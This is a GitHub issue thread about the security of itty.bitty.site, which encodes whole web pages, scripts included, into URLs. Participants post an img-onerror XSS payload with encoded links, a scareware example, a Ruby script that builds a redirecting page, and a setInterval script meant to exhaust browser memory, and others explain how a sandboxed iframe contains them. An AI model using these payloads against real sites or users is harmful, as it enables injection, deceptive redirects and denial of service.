Open JeroenMoonen opened 6 years ago
I'm going to keep this issue open indefinitely, as I'm curious about best practices here. I've created an itty site as a reference http://xss.bitty.site/ Inlining the content below - note that my thoughts on the matter may change, so please discuss.
--
Scripting is a feature of itty.bitty.site. It can encode an entire webpage, including JavaScript, (and yes, even alerts). These pages are loaded in an iframe, and thus have more limited access to things like cookies and local storage, but can still be abused.
As there are no databases, user accounts or persistent data, scripting does not allow any meaningful attacks here. This is subject to the same precautions you might have with any website with script content – what is shown on itty.bitty comes from the content people make and it is not inherently more trustworthy than a random site on the internet.
Longer term, this may degrade perception of the domain, but for now, the experimental nature of the site makes it worthwhile.
Can some sort of hashing or salt of that hash work in confirming the created content is same as the one being accessed ??
If the content were loaded into an iframe with a sandbox attribute that does not include the allow-same-origin permission, "the embedded content is treated as being from a unique origin." That might alleviate some risks.
https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe
@topaz Great idea. I've added them. I was a bit worried about same-origin, particularly in IE, and this makes me feel much better. Thank you!
Another XSS PoC
"><img src=x onerror=prompt(1)></style></div></article></script>"><script src=
https://bitty.site/#%22%3E%3Cimg_src%3Dx_onerror%3Dprompt(1)%3E%3C%2Fstyle%3E%3C%2Fdiv%3E%3C%2Farticle%3E%3C%2Fscript%3E%22%3E%3Cscript_src%3D/data:text/html;charset=utf-8;bxze64,XQAAAAJOAAAAAAAAAAARD4PwR34GfhQzunPuvy5F3llcGzZth676F1jfVRRCFovpS7e3ZbwoDWRYPvBRe7EwYgr7VpBjulPa20N8dwV8Uwwasf/juOAA
@w9w First you only need the <img src=x onerror=prompt(1)>
since it is just rendering html and you are not breaking out of another tag.
Second, this is not XSS, because it isn't cross-origin due to the sandboxed iframe. The data is being rendered with the sandboxed iframe src as a data url so there is nothing you can do from that the unique origin that you couldn't do from some other domain. You cannot affect the other "pages" on this site, and none of them can make any persistent data either anyway. This is the same way that something like https://github.com/cure53/DOMPurify "evaluates" the xss in a sandboxed iframe, without harming the page using it.
@itsZN , agree with you. I checked this immediately, before writing my message with payload, using prompt(document.domain) https://bitty.site/#%22%3E%3Cimg_src%3Dx_onerror%3Dprompt(document.domain)%3E%3C%2Fstyle%3E%3C%2Fdiv%3E%3C%2Farticle%3E%3C%2Fscript%3E%22%3E%3Cscript_src%3D/data:text/html;charset=utf-8;bxze64,XQAAAAJcAAAAAAAAAAARD4PwR34GfhQzunPuvy5F3llcGzZth676F1jfVSTesNDeHzIqrH+AT7sqpbNFN8Cg8RzTQJiGTQ5FL+BQMl+B68Q1wYq8Fj+ARpQPF9bkpfz/AEnAAA== . The page gave an empty reply.
This isn't XSS, this is a js with an alert. Literally any website on the internet can do this. Anyone can host a html file with any kind of javascript inside.
@nukeop it was just a basic example. And please, read the explanation of @alcor.
Just a thought, It's possible this can be used for serverless scareware Example: https://itty.bitty.site/#/data:text/html;charset=utf-8;bxze64,XQAAAAKnAAAAAAAAAAAeHMhnVbtj2GhWv1nklm5AdsaqbvFEwWtJAUqPt1aCaY/ULVX6PrIbFETXytB6clGTPPcIfcYJzNFrH2hvK+qW8dCQAO+WVmo5TIHS394VCL+h2Dpe+mImIyyf8PNgcy9VO/BvIoLtBLZKrLw8UFIucV0E5OWLlu4eFyjjAiOV3H7JClAlgej/Y6EH//xm/eA=
malicious content won't cause much harm!!! But there is always a way , to harm electronic devices ... lmao
How about using a wildcard subdomain with a sha256/bcrypt of the content and verifying that the local storage of the app is it's own before running. I realise browsers don't do good job at subdomain level security. But it could be better than nothing for PWA's that store data on the browser
This:
https://30dca837f3b381201761830fdf322475034f675c.itty.bitty.site/Vue-Hello-World#/XQAAAAT//////////wAeCEUG0O+oKBdZ2an16qclPsVsLFo9UXQ0dBK8N+oibOoSWe6xphwrXczGTmEURv+Y+elIed4/mzh2pi6ME0q9x+TqYcl7278HwSuCaNEcpa8OrFcFJOsKUM2rXCb0nxVrds+n1qkcaNteTSWyWdyjhEZFGn+HuE/MdRq4AkIdRCgAnEAnvOx08lP9I/wH0Y96QAirrn0pAJmaIJOasB/IWlQINk3FckfYmvwxK8vjoGbT2UUNjMRMFbUE+xgELTWNZ/5UIxb6fkMd2udYNmZvIeTetmgHVEYwiCcVceHvKsK1YSPnpCwX9Q66lG2oJpvZ9mfhs+19tk1XsZbOisdfouEG3XlQ3z2L9VIZKyMVQiLq6eRkwUMTbsQctH39WM613NQPHuCk4Sez2vi6Tps59CQxe/a3wnedpU/fkjJ4ec7fdTEUX1jAvyyvbnjFIt+PTt1bUPCOccIgEVGNwwjXkL9+kH7XA+p4Vzm2v5s5iA37C1Z536Eh1eJBDvluvxZ9Sl6Ezb0t2c8IBMZfIzSPFFpz+9SCMOEDQYhpzBYHPi7pkDjESb31BhY0a0MoL0R0zywnIMnIf0kzQIElsojgUUzKv500fAsu3uf/5gzs9A==
Hmm. Interesting. And the sub domain isolation means it could be rendered as a true page instead of as a sandboxed iframe. As of right now, local storage and cookies are not accessible.
Thought this might be useful knowledge to note (but not useful enough to deserve its own Issue). I discovered this while trying to figure out whether itty.bitty.site could serve as a URL Shortner service.
This itty.bitty.site redirects the user to my personal site, but still displays the security modal. It seems that all external links are blocked, as well as a couple of internal links that uses "http://", but the internal links that use "https://" are indeed clickable (so a malicious programmer will need to craft a specific site that only have all the malicious materials on their own domain -- and also remember to use https).
I was able to generate this URL using the following Ruby script:
require 'base64'
require 'lzma'
def url_shortner(url)
generated_text = %{<script>window.location.replace("#{url}");</script>}
compressed = LZMA.compress(generated_text)
base64page = Base64.encode64(compressed).gsub("\n","")
"https://itty.bitty.site/#/#{base64page}"
end
url_shortner("https://tra38.github.io")
I whipped up this bad boy as a proof of concept. It will eat up all your RAM, and lock your browser.
<html>
<body>
<script>setInterval(function () { var w = document.getElementById('x'); w.append(document.documentElement.outerHTML || document.documentElement.innerHTML); }, 10);</script>
<div id='x' style='display:none;'></div>
</body>
</html>
Example: https://itty.bitty.site/#/?XQAAAAIeAAAAAAAAAAAeHMhnVbtj2LI970NQdDTPEHzdDUCOt/ZTWFnmN///+MCAAA==